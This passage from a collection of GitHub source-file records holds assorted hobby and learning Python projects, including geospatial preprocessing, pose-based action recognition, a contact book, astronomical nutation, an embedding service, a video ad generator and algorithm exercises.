\"x\": names.lon,\n \"y\": names.lat,\n }\n )\n elevation = elevation.sel(band=1).drop(\"band\")\n elevation.name = names.height\n ensure_dir_exists(paths.srtm)\n elevation.to_netcdf(paths.srtm)\n\n\nif __name__ == \"__main__\":\n process_srtm()\n","repo_name":"jonas-scholz123/sim2real-downscaling","sub_path":"sim2real/preprocessing/srtm_dem.py","file_name":"srtm_dem.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"41119822796","text":"import yaml\nfrom datetime import datetime\n\nprint('\\n')\n\nfilename = input('Type the name(+address) of yaml files WITHOUT EXTENSION to be converted: ')\n\nprint('\\n')\n\nwith open(str(filename) + '.yml') as f:\n data = yaml.load(f, Loader=yaml.SafeLoader)\n\njoin_template = \"SELECT * FROM {} JOIN {}\"\n# ON {} = {} AND {} = {}\"\n\njoin_statements = [join_template.format(nv['table']) for nv in data['models']]\n\n#update_template = \"UPDATE SAMPLE SET PVALUE={} WHERE PNAME=\\'{}\\'\"\n#update_statements = [update_template.format(nv['value'], nv['name']) for nv in data['Config']]\n\nprint('\\n')\n\n#template_choice_id = input('Choose your template:\\n1 for Update\\n2 for Join: ')\n\n#def statements():\n# if template_choice_id == 1:\n# return 'update_statements'\n# else: return 'join_statements'\n \n\nwith open(\"converted_\" + str(filename) + \"_output_file_\" + str(datetime.today()) + \".sql\", 'w') as f:\n for statement in join_statements:\n f.write(statement)\n\nprint('Done!')\n\nprint('\\n')\n","repo_name":"BfdCampos/data_engineering","sub_path":"yml_to_sql/join_convert.py","file_name":"join_convert.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1387739919","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nimport mediapipe as mp\r\nfrom keras.models import load_model\r\n\r\ncolors = [(245,117,16), (117,245,16), (16,117,245)]\r\ndef prob_viz(res, actions, input_frame, colors):\r\n output_frame = input_frame.copy()\r\n for num, prob in enumerate(res):\r\n cv2.rectangle(output_frame, (0,60+num*40), (int(prob*100), 90+num*40), colors[num], -1)\r\n cv2.putText(output_frame, actions[num], (0, 85+num*40), cv2.FONT_HERSHEY_SIMPLEX, 1, (255,255,255), 2, cv2.LINE_AA)\r\n \r\n return output_frame\r\n\r\n####### 1. Main Detection Start ####################\r\n\r\n\r\nmp_holistic = mp.solutions.holistic # Holistic model\r\nmp_drawing = mp.solutions.drawing_utils # Drawing utilities\r\n\r\ndef mediapipe_detection(image, model):\r\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # COLOR CONVERSION BGR 2 RGB\r\n image.flags.writeable = False # Image is no longer writeable\r\n results = model.process(image) # Make prediction\r\n image.flags.writeable = True # Image is now writeable \r\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) # COLOR COVERSION RGB 2 BGR\r\n return image, results\r\n\r\ndef draw_landmarks(image, results):\r\n mp_drawing.draw_landmarks(image, results.face_landmarks, mp_holistic.FACEMESH_TESSELATION) # Draw face connections\r\n mp_drawing.draw_landmarks(image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS) # Draw pose connections\r\n mp_drawing.draw_landmarks(image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS) # Draw left hand connections\r\n mp_drawing.draw_landmarks(image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS) # Draw right hand connections\r\n\r\ndef draw_styled_landmarks(image, results):\r\n # Draw face connections\r\n mp_drawing.draw_landmarks(image, results.face_landmarks, mp_holistic.FACEMESH_TESSELATION, \r\n mp_drawing.DrawingSpec(color=(80,110,10), thickness=1, circle_radius=1), \r\n mp_drawing.DrawingSpec(color=(80,256,121), thickness=1, circle_radius=1)\r\n ) \r\n # Draw pose connections\r\n mp_drawing.draw_landmarks(image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS,\r\n mp_drawing.DrawingSpec(color=(80,22,10), thickness=2, circle_radius=4), \r\n mp_drawing.DrawingSpec(color=(80,44,121), thickness=2, circle_radius=2)\r\n ) \r\n # Draw left hand connections\r\n mp_drawing.draw_landmarks(image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS, \r\n mp_drawing.DrawingSpec(color=(121,22,76), thickness=2, circle_radius=4), \r\n mp_drawing.DrawingSpec(color=(121,44,250), thickness=2, circle_radius=2)\r\n ) \r\n # Draw right hand connections \r\n mp_drawing.draw_landmarks(image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS, \r\n mp_drawing.DrawingSpec(color=(245,117,66), thickness=2, circle_radius=4), \r\n mp_drawing.DrawingSpec(color=(245,66,230), thickness=2, circle_radius=2)\r\n )\r\n\r\n\r\ndef extract_keypoints(results):\r\n pose = np.array([[res.x, res.y, res.z, res.visibility] for res in results.pose_landmarks.landmark]).flatten() if results.pose_landmarks else np.zeros(33*4)\r\n face = np.array([[res.x, res.y, res.z] for res in results.face_landmarks.landmark]).flatten() if results.face_landmarks else np.zeros(468*3)\r\n lh = np.array([[res.x, res.y, res.z] for res in results.left_hand_landmarks.landmark]).flatten() if results.left_hand_landmarks else np.zeros(21*3)\r\n rh = np.array([[res.x, res.y, res.z] for res in results.right_hand_landmarks.landmark]).flatten() if results.right_hand_landmarks else np.zeros(21*3)\r\n return np.concatenate([pose, face, lh, rh])\r\n\r\n# Path for exported data, numpy arrays\r\nDATA_PATH = os.path.join('Action') \r\n\r\n# Actions that we try to detect\r\nactions = np.array(['Fighting','Walking' ,'Running'])\r\n\r\n# 60 videos worth of data\r\nno_sequences = 60\r\n\r\n# Videos are going to be 30 frames in length\r\nsequence_length = 30\r\n\r\n\r\n\r\nsequence = []\r\nsentence = []\r\nthreshold = 0.7\r\n\r\nmodel = load_model('action_V1.h5')\r\n\r\n\r\n# cap = cv2.VideoCapture(1)\r\n# cap = cv2.VideoCapture('test.mp4')\r\n# cap = cv2.VideoCapture('R1.mp4')\r\ncap = cv2.VideoCapture('R2.mp4')\r\n# cap = cv2.VideoCapture('w.mp4')\r\n# cap = cv2.VideoCapture('F.mp4')\r\n# cap = cv2.VideoCapture('filename.avi')\r\n\r\n# Set mediapipe model \r\n\r\n### For Saving the Output ### \r\nframe_width = int(cap.get(3))\r\nframe_height = int(cap.get(4))\r\nsize = (frame_width, frame_height)\r\n\r\nresult = cv2.VideoWriter('detect/filename.avi',cv2.VideoWriter_fourcc(*'MJPG'),10, size)\r\n\r\nwith mp_holistic.Holistic(min_detection_confidence=0.5, min_tracking_confidence=0.5) as holistic:\r\n while cap.isOpened():\r\n\r\n # Read feed\r\n ret, frame = cap.read()\r\n\r\n # Make detections\r\n image, results = mediapipe_detection(frame, holistic)\r\n print(results)\r\n \r\n # Draw landmarks\r\n draw_styled_landmarks(image, results)\r\n \r\n # 2. Prediction logic\r\n keypoints = extract_keypoints(results)\r\n# sequence.insert(0,keypoints)\r\n# sequence = sequence[:30]\r\n sequence.append(keypoints)\r\n sequence = sequence[-30:]\r\n \r\n if len(sequence) == 30:\r\n res = model.predict(np.expand_dims(sequence, axis=0))[0]\r\n print(actions[np.argmax(res)])\r\n \r\n \r\n #3. Viz logic\r\n if res[np.argmax(res)] > threshold: \r\n if len(sentence) > 0: \r\n if actions[np.argmax(res)] != sentence[-1]:\r\n sentence.append(actions[np.argmax(res)])\r\n else:\r\n sentence.append(actions[np.argmax(res)])\r\n\r\n if len(sentence) > 5: \r\n sentence = sentence[-5:]\r\n\r\n # Viz probabilities\r\n image = prob_viz(res, actions, image, colors)\r\n \r\n # cv2.rectangle(image, (0,0), (640, 40), (245, 117, 16), -1)\r\n # cv2.putText(image, ' '.join(sentence), (3,30),cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\r\n \r\n # Show to screen\r\n cv2.imshow('Movement', image)\r\n result.write(image)\r\n\r\n # Break gracefully\r\n if cv2.waitKey(10) & 0xFF == ord('q'):\r\n break\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n \r\n\r\ncap.release()\r\nresult.release()\r\ncv2.destroyAllWindows()\r\nprint(\"The video was successfully saved\")","repo_name":"yap-yeasin/Human_motion_analysis","sub_path":"Action_test.py","file_name":"Action_test.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31562712874","text":"import csv\n\n\nclass Contact:\n def __init__(self, name, phone, email):\n self.name = name\n self.phone = phone\n self.email = email\n\n\nclass ContactBook:\n def __init__(self):\n self._contacts = []\n\n def add(self, name, phone, email):\n contact = Contact(name, phone, email)\n self._contacts.append(contact)\n self._save()\n\n def list_contact(self):\n for contact in self._contacts:\n self._print_contact(contact)\n\n def delete(self, name):\n for idx, contact in enumerate(self._contacts):\n if contact.name.lower() == name.lower():\n del self._contacts[idx]\n self._save()\n break\n\n def find_contact(self, name):\n for contact in self._contacts:\n if contact.name.lower() == name.lower():\n self._print_contact(contact)\n else:\n self._not_found()\n break\n\n def _save(self):\n with open('contacts.csv', 'w') as f:\n writer = csv.writer(f)\n writer.writerow(('name', 'phone', 'email'))\n for contact in self._contacts:\n writer.writerow((contact.name, contact.phone, contact.email))\n\n def update(self, name):\n for idx, contact in enumerate(self._contacts):\n if contact.name.lower() == name.lower():\n self._print_contact(contact)\n name = str(input('Input Name: '))\n phone = str(input('Input Phone: '))\n email = str(input('Input Email: '))\n contact = Contact(name, phone, email)\n self._contacts[idx] = contact\n self.save()\n\n def _print_contact(self, contact):\n print(\"\"\"\n\t\t---*---*---*---*---*---*---*---*---\\n\n\t\t\tName: {}\\n\n\t\t\tPhone: {}\\n\n\t\t\tEmail: {}\\n\n\t\t---*---*---*---*---*---*---*---*---\\n\n\t\t\"\"\".format(contact.name, contact.phone, contact.email))\n\n def _not_found(self):\n print(\n \"\"\"\n\t\t\t\t\t---*---*---*---*---*---*---*---*---\\n\n\t\t\t\t\tContact not found\\n\n\t\t\t\t\t---*---*---*---*---*---*---*---*---\\n\n\t\t\t\t\t\"\"\")\n\n\ndef run():\n\n contact_book = ContactBook()\n\n with open('contacts.csv', 'r') as f:\n reader = csv.reader(f)\n for idx, row in enumerate(reader):\n if idx == 0:\n continue\n\n contact_book.add(row[0], row[1], row[2])\n\n while True:\n command = str(input(\n \"\"\" \n\t\t\t[a]dd contact\n\t\t\t[u]pdate contact\n\t\t\t[f]ind contact\n\t\t\t[d]elete contact\n\t\t\t[l]ist contacts\n\t\t\t[e]xit\n\n\t\t\t\"\"\"\n ))\n\n if command == 'a':\n name = str(input('Input Name: '))\n phone = str(input('Input Phone: '))\n email = str(input('Input Email: '))\n contact_book.add(name, phone, email)\n\n elif command == 'f':\n\n name = str(input('Input Name: '))\n contact_book.find_contact(name)\n\n elif command == 'u':\n name = str(input('Input Name: '))\n contact_book.update(name)\n\n elif command == 'd':\n name = str(input(\"Input Name: \"))\n contact_book.delete(name)\n\n elif command == 'l':\n contact_book.list_contact()\n\n elif command == 'e':\n break\n\n else:\n print(\"Command not found\")\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"frankfern/contacts-book","sub_path":"agenda.py","file_name":"agenda.py","file_ext":"py","file_size_in_byte":3339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73683306725","text":"from math import radians, cos, sin\nfrom terms import terms_delta_epsilon, terms_delta_psi\n\n#from terms import delta_psi, delta_epsilon\n\nclass Nutation:\n def __init__(self, t_td):\n self.t = t_td\n t = t_td\n self.d = radians((297.85036 + 445267.11148*t - 0.0019142*t**2 + t**3/189474) % 360)\n self.m = radians((357.52772 + 35999.05034*t - 0.0001603*t*t - t*t*t/300000) % 360)\n self.m_aksen = radians((134.96298 + 477198.867398*t + 0.0086972*t*t + t*t*t/56250) % 360)\n self.f = radians((93.27191 + 483202.017538*t - 0.0036825*t*t + t*t*t/327270) % 360)\n self.omega = radians((125.04452 - 1934.136261*t + 0.0020708*t*t + t*t*t/450000) % 360)\n\n @property\n def epsilon(self):\n hasil = self.epsilon_zero + (self.delta_epsilon_total)/3600\n hasil = radians(hasil)\n return hasil\n \n @property\n def epsilon_zero(self):\n t = self.t\n u = t/100\n hasil = 23 + 26/60 + 21.448/3600 + (-4680.93*u - 1.55*u**2 + 1999.25*u**3 - 51.38*u**4 - 249.67*u**5 - 39.05*u**6+ 7.12*u**7 + 27.87*u**8 + 5.79*u**9 + 2.45*u**10)/3600\n return hasil\n \n @property\n def delta_epsilon_total(self):\n t = self.t\n d = self.d\n m = self.m\n m_aksen = self.m_aksen\n f = self.f\n omega = self.omega\n\n total = 0\n for i in range(len(terms_delta_epsilon)):\n total += (terms_delta_epsilon[i][5] + terms_delta_epsilon[i][6]*t) * cos(terms_delta_epsilon[i][0] * d + terms_delta_epsilon[i][1] * m + terms_delta_epsilon[i][2] * m_aksen + terms_delta_epsilon[i][3] * f + terms_delta_epsilon[i][4] * omega)\n return total/10000\n\n @property\n def delta_psi(self):\n hasil = self.delta_psi_total/3600\n return hasil\n\n @property\n def delta_psi_total(self):\n t = self.t\n d = self.d\n m = self.m\n m_aksen = self.m_aksen\n f = self.f\n omega = self.omega\n total = 0\n for i in range(len(terms_delta_psi)):\n total += (terms_delta_psi[i][5] + terms_delta_psi[i][6]*t) * sin(terms_delta_psi[i][0] * d + terms_delta_psi[i][1] * m + terms_delta_psi[i][2] * m_aksen + terms_delta_psi[i][3] * f + terms_delta_psi[i][4] * omega)\n return total/10000\n\n pass\n","repo_name":"asjach/ilmu_falak","sub_path":"algoritma meeus/nutation.py","file_name":"nutation.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14560277182","text":"import flask\nimport logging\nimport json\nfrom flask import request\nimport tensorflow_hub as hub\n\n\nlog = logging.getLogger('werkzeug')\nlog.setLevel(logging.ERROR)\napp = flask.Flask('encoder')\napp.debug = True\n\n@app.route('/', methods=['post'])\ndef home():\n payload = request.json # payload should be like [\"asdfasdf\",\"asdfasdf\"]\n print(payload)\n embeddings = embed(payload)\n result = [{'vector': i.numpy().tolist(), 'string': j}\n for i, j in zip(embeddings, payload)]\n return flask.Response(json.dumps(result), mimetype='application/json')\n\n\nif __name__ == '__main__':\n #embed = hub.load(\"https://tfhub.dev/google/universal-sentence-encoder/4\")\n # USEv5 is about 100x faster than 4\n embed = hub.load(\n \"https://tfhub.dev/google/universal-sentence-encoder-large/5\")\n app.run(host='0.0.0.0', port=9100)\n","repo_name":"cognosisai/platform","sub_path":"services/embeddings/embeddings-service.py","file_name":"embeddings-service.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"52"} +{"seq_id":"17278836911","text":"import pandas as pd\nimport glob\n\npath = 'F:\\\\Thesis\\\\project\\\\data-collection\\\\test-smells\\\\'\n\n# csv files in the path\nfiles = glob.glob(path + \"/*.csv\")\n\nvalue = []\n\nfor filename in files:\n\n df = pd.read_csv(filename, index_col=None)\n \n value.append(df)\n #pd.concat(df).groupby(level=0).mean()\n\n#frame = pd.concat(value, axis=0, ignore_index=True)\nframe = pd.concat(value).groupby(level=0).mean().round(2)\nframe.to_csv('F:\\\\Thesis\\\\project\\\\result\\\\test-smells.csv', index=False) \nprint(frame)","repo_name":"mosvi/masters-thesis","sub_path":"source-code/python/Merge.py","file_name":"Merge.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40689258797","text":"#!/usr/bin/env python3\n\"\"\"\nFile: main.py\nAuthors: Martin Kopec \n Martin Krajnak \n Patrik Segedy \n Tibor Dudlak \n\"\"\"\n\nimport argparse\nimport os\nimport random\nimport requests\n\nfrom video import Video\n\n# arg keys\nPRODUCT = \"product\"\nEFFECT = \"effect\"\nBACKGROUND = \"background\"\nTEXT = \"text\"\nANIMATION = \"animation\"\nFONT = \"font\"\nSTICKER = \"sticker\"\nPLATFORM = \"platform\"\nSPEED = \"speed\"\nMULTI = \"multi\"\nTITLE = \"title\"\nPRICE = \"price\"\nRENDER = \"render\"\nLINE = \"line\"\nOUTPUT = \"output\"\n\n\n# used for csv data\nPRODUCT_NAME = 1\nPRODUCT_IMAGE = 3\nPRODUCT_PRICE = 4\nPRODUCT_IMAGES = 10\nPRODUCT_SIZES = -1\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-b\",\n \"--background\",\n default=\"data/videos/4KRGBcolors.mp4\",\n required=False,\n help=\"Background\",\n )\n parser.add_argument(\n \"-a\",\n \"--animation\",\n default=\"curve4\",\n required=False,\n help=\"Animation\",\n )\n parser.add_argument(\n \"-f\",\n \"--font\",\n default=\"data/fonts/Dogfish/Dogfish.ttf\",\n required=False,\n help=\"Font to use\",\n )\n parser.add_argument(\n \"-e\",\n \"--effect\",\n default=\"green\",\n required=False,\n help=\"Color effect to use\",\n )\n parser.add_argument(\n \"-s\",\n \"--speed\",\n default=6,\n type=int,\n required=False,\n help=\"Speed of the animation (pixels per frame)\",\n )\n parser.add_argument(\n \"-m\",\n \"--multi\",\n default=False,\n action=\"store_true\",\n required=False,\n help=\"Multiple product images on video frame.\",\n )\n parser.add_argument(\n \"-t\",\n \"--title\",\n default=1,\n type=int,\n required=False,\n help=\"Show title text.\",\n )\n parser.add_argument(\n \"-p\",\n \"--price\",\n default=1,\n type=int,\n required=False,\n help=\"Show price tag.\",\n )\n parser.add_argument(\n \"-r\",\n \"--render\",\n default=False,\n action=\"store_true\",\n required=False,\n help=\"Show realtime rendering.\",\n )\n parser.add_argument(\n \"-l\",\n \"--line\",\n default=None,\n type=int,\n required=False,\n help=\"Line from csv.\",\n )\n parser.add_argument(\n \"-o\",\n \"--output\",\n default=\"output.mp4\",\n type=str,\n required=False,\n help=\"Output file.\",\n )\n\n return parser.parse_args()\n\n\ndef get_random_line(csvfile=\"data/feeds/Footshop feed.csv\", line=None):\n lines = []\n with open(csvfile) as f:\n lines = [line for line in f]\n filesize = len(lines)\n\n offset = random.randrange(2, filesize) # first 2 lines are comments\n\n return lines[offset if not line else line+2]\n\n\ndef get_image(url):\n r = requests.get(url)\n if not r.status_code == 200:\n raise ValueError\n img_name = url.split(\"=\")[-1]+\".png\"\n with open(img_name, \"wb\") as f:\n f.write(r.content)\n return img_name\n\n\nif __name__ == \"__main__\":\n args = vars(parse_args())\n print(\"Hello ROIHUNTER!\\n\")\n for key in args.keys():\n print(key, \":\", args[key])\n\n downloaded = []\n while not downloaded:\n data = get_random_line(line=args[LINE]).split(\"\\t\")\n images = data[PRODUCT_IMAGES].split(\",\") + \\\n [data[PRODUCT_IMAGE].strip('\"')]\n for image in images:\n try:\n downloaded += [get_image(image.strip('\"'))]\n except ValueError:\n continue\n\n if args[MULTI]:\n downloaded = [\"data/sale/doge.png\", \"data/sale/kod.png\"] + downloaded\n print(downloaded)\n\n title = data[PRODUCT_NAME].replace('\"', \"\")\n\n ad = Video(\n video_file=args[BACKGROUND],\n image_paths=downloaded,\n title=title if args[TITLE] else \"\",\n text=data[PRODUCT_PRICE].strip('\"') if args[PRICE] else \"\",\n text_speed=60,\n font=args[FONT],\n color_effect=args[EFFECT],\n animation=args[ANIMATION],\n speed=args[SPEED],\n multi=args[MULTI],\n render=args[RENDER],\n output=args[OUTPUT]\n )\n\n ad.play()\n for tmp_image in downloaded:\n if tmp_image not in [\"data/sale/doge.png\", \"data/sale/kod.png\"]:\n os.remove(tmp_image)\n","repo_name":"kopecmartin/24h-hackathon-2019","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13083018128","text":"import sys\ninput = sys.stdin.readline\nn = int(input()) # 데이터 개수\nA = list(map(int, input().split())) # 수 데이터 저장 리스트\ncount = 0 # 좋은 수 개수 저장 변수\nA.sort()\n\nfor k in range(n):\n find = A[k]\n i = 0\n j = n-1\n while i < j:\n if A[i] + A[j] > find:\n j -= 1\n elif A[i] + A[j] < find:\n i += 1\n elif A[i] + A[j] == find:\n if i != find and j != find:\n count += 1\n break\n elif i == k:\n i += 1\n elif j == k:\n j -= 1\n i += 1\n j -= 1\n\nprint(count)","repo_name":"SangCheonP/CodingTest","sub_path":"Two Pointer/'좋은 수'구하기.py","file_name":"'좋은 수'구하기.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74398796965","text":"class Human:\n # Class Variable\n CLASS_NAME = \"HUMAN\"\n\n # Constructor\n def __init__(self, human_type):\n self.human_type = human_type\n\n # Instance Method\n def walk(self):\n # Instance Variable\n human_type = self.human_type\n\n print(f'{human_type} is walking')\n\n # Static Method\n @staticmethod\n def print_class_name():\n print('This is a Human Class')\n\n @classmethod\n def update_human(cls, updated_name):\n cls.CLASS_NAME = updated_name\n\n\n# Object Creation\nmale = Human('Male')\n\n# Calling of Instance Method\nmale.walk()\n\n# Calling of static method\nHuman.print_class_name()\n\n# Calling of Class Variables\nprint(Human.CLASS_NAME)\nprint(male.CLASS_NAME)\n\nHuman.update_human('Update Human Name')\nprint(Human.CLASS_NAME)\n","repo_name":"try2catch/Python_Beginners_Course","sub_path":"lecture_1.py","file_name":"lecture_1.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19801570024","text":"from typing import Any, Collection, Optional, List\nfrom sqlalchemy.orm.session import Session\nfrom .database import Database\nfrom exceptions import DatabaseNotFoundError\n\n\nclass Databases:\n __bases: List[Database] = []\n\n @classmethod\n def get_all(cls) -> Collection[Database]:\n return cls.__bases\n\n @classmethod\n def get_database(cls, database_name: str = \"main\") -> Database:\n if not cls.__bases:\n raise DatabaseNotFoundError(empty=True)\n\n try:\n return [\n database for database in cls.__bases if database.name == database_name\n ][0]\n\n except IndexError:\n raise DatabaseNotFoundError()\n\n @classmethod\n def create_session(cls, database_name: str = \"main\", **options: Any) -> Session:\n return cls.get_database(database_name).create_session(**options)\n\n @classmethod\n def migrate(cls, drop_tables: bool, database_name: str = \"main\") -> None:\n cls.get_database(database_name).migrate(drop_tables)\n\n @classmethod\n def migrate_all(cls, drop_tables: bool) -> None:\n for database in cls.__bases:\n cls.migrate(drop_tables, database.name)\n\n @classmethod\n def append_databases(cls, *databases: Database) -> None:\n for database in databases:\n cls.__bases.append(database)\n","repo_name":"VictorHenrich/projeto-seguranca-transito-backend","sub_path":"src/server/database/databases.py","file_name":"databases.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19797952059","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import Imputer\nfrom xgboost import XGBRegressor\n \n# main\n\nfile_path = '../input/train.csv'\nhome_data = pd.read_csv(file_path)\ntest_data_path = '../input/test.csv'\ntest_data = pd.read_csv(test_data_path)\n\ny = home_data.SalePrice\ntrain = home_data.drop(['SalePrice', 'EnclosedPorch', 'LowQualFinSF', 'MiscVal', 'OpenPorchSF', 'PoolArea', 'ScreenPorch'], axis = 1)\ntest = test_data.drop(['EnclosedPorch', 'LowQualFinSF', 'MiscVal', 'OpenPorchSF', 'PoolArea', 'ScreenPorch'], axis = 1)\n\none_hot_encoded_training_predictors = pd.get_dummies(train)\none_hot_encoded_test_predictors = pd.get_dummies(test)\ntrain, test = one_hot_encoded_training_predictors.align(one_hot_encoded_test_predictors, join = 'left', axis = 1)\n\nmy_imputer = Imputer()\ntrain = my_imputer.fit_transform(train)\ntest = my_imputer.transform(test)\n\nmodel = XGBRegressor()\nmodel.fit(train, y)\npreds = model.predict(test)\n\n# outputting\n\npd.DataFrame({'Id': test_data.Id, 'SalePrice': preds}).to_csv('submission.csv', index = False)","repo_name":"MikhailKitikov/DataScience","sub_path":"contests/Kaggle/house_pricing.py","file_name":"house_pricing.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73453473444","text":"\"\"\"\nLeetcode 621\n\nGiven a characters array tasks, representing the tasks a CPU needs to do, where each letter represents a different task.\n Tasks could be done in any order. Each task is done in one unit of time.\n For each unit of time, the CPU could complete either one task or just be idle.\n\nHowever, there is a non-negative integer n that represents the cooldown period between two same tasks\n(the same letter in the array), that is that there must be at least n units of time between any two same tasks.\n\nReturn the least number of units of times that the CPU will take to finish all the given tasks.\n\nInput: tasks = [\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"], n = 2\nOutput: 8\nExplanation:\nA -> B -> idle -> A -> B -> idle -> A -> B\nThere is at least 2 units of time between any two same tasks.\n\nInput: tasks = [\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\"], n = 2\nOutput: 16\nExplanation:\nOne possible solution is\nA -> B -> C -> A -> D -> E -> A -> F -> G -> A -> idle -> idle -> A -> idle -> idle -> A\n\"\"\"\nfrom collections import defaultdict\nimport heapq\nclass Solution:\n def least_interval(self, tasks: list[str], n: int) -> int:\n if n <= 0:\n return len(tasks)\n hm = defaultdict(int)\n for task in tasks:\n hm[task] +=1\n maxheap = [(-val, key) for key,val in hm.items()]\n heapq.heapify(maxheap)\n time = 0\n temp = list()\n while maxheap:\n k = n + 1\n finished = 0\n temp.clear()\n while k > 0 and maxheap:\n freq, task = heapq.heappop(maxheap)\n freq = -freq\n if freq - 1 > 0 :\n temp.append((freq-1,task))\n else:\n finished +=1\n k -=1\n if not temp:\n # temp is empty\n time +=finished\n else:\n time += finished + len(temp) + k\n for freq,task in temp:\n heapq.heappush(maxheap,(-freq,task))\n return time\n\n\n# Test\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"],2)) # 8\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"],0)) # 6\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\"], 2)) # 16\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\",\"C\",\"C\",\"D\",\"E\",\"F\",\"G\"], 3)) # 16\n\n\"\"\"\nS = O(n), t= O(1) solution\n\nThe key is to find out how many idles do we need.\n\neg 3 A, 2 B, 1 C\nA ? ? A ? ? A\n\"?\" is \"empty\" slots.\n\nNow we can use the same way to arrange B and C\n\nA B C A B # A\n\"#\" is idle\n\nNow we have a way to arrange tasks\nbut don't need actually arrange them. \nwe only need to get the total idles\nno of tasks + idles = total time taken\nWith the fact that A is the task with most frequency, it should need more idles than any other tasks\nfinding no of idles with A is enough\n\nA separated slots into (count(A) - 1) = 2 parts, each part has length n.\nnumber of parts separated by A: partCount = count(A) - 1; \nemptySlots = partCount * n;\navailableTasks = tasks.length - count(A)\nidles = max(0, emptySlots - availableTasks);\n\ncase: more than one task with most frequency\n3 A 3 B 2 C 1 D, n = 3\n\nA B ? ? A B ? ? A B\n\npartCount = count(A) - 1\nemptySlots = partCount * (n - (count of tasks with most frequency - 1))\navailableTasks = tasks.length - count(A) * count of tasks with most frenquency\nidles = max(0, emptySlots - availableTasks)\nresult = tasks.length + idles\n\ncase: What if we have more than n tasks with most frequency \n 3A, 3B, 3C, 3D, 2E, n = 2. \n You can always first arrange A, B, C, D as:\nA B C D E| A B C D E| A B C D\nemptySlots < 0 means you have already got enough tasks to fill in each part to make arranged tasks valid\n\"\"\"\n\nclass Solution:\n def least_interval(self, tasks: list[str], n: int) -> int:\n counter = [0] * 26\n for task in tasks:\n counter[ord(task)-ord(\"A\")] +=1\n count = max(counter)\n parts = count - 1\n max_freq_tasks = counter.count(count)\n empty_slots = parts * (n-max_freq_tasks + 1)\n available_tasks = len(tasks) - count * max_freq_tasks\n idles = max(0,empty_slots-available_tasks)\n return len(tasks) + idles\n\n# Test\nprint(\"-----------------------------\")\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"],2)) # 8\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\"],0)) # 6\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"A\",\"A\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\"], 2)) # 16\nprint(Solution().least_interval([\"A\",\"A\",\"A\",\"B\",\"B\",\"B\",\"C\",\"C\",\"D\",\"E\",\"F\",\"G\"], 3)) # 16","repo_name":"clintjohnsn/ds-algo","sub_path":"hashmaps/medium/task_scheduler.py","file_name":"task_scheduler.py","file_ext":"py","file_size_in_byte":4554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12072242554","text":"from step.step_class import Step\nimport os\n\nclass SolverViz(Step):\n def __init__(self, path, input_path, output_path):\n super().__init__(path, input_path, output_path)\n self.display = \"geogebra\"\n\n def set_display(self, display):\n self.display = display\n\n def ext_from_display(self):\n if self.display == \"geogebra\":\n return \"ggb\"\n\n def run(self):\n out_ext = self.ext_from_display()\n\n command = f\"pushd {self.path} && ./run -t {self.display} -o {self.out_path}\\\n {self.input_path} && popd\"\n print(f\"Call to SolverViz: {command}\")\n if os.system(command) != 0:\n self.error()\n out_file = f\"{self.out_path}.{out_ext}\"\n self.launch_backend(out_file)\n return out_file\n \n def launch_backend(self, file):\n # Launch the program that corresponds to the backend we want to use\n if self.display == \"geogebra\":\n command = 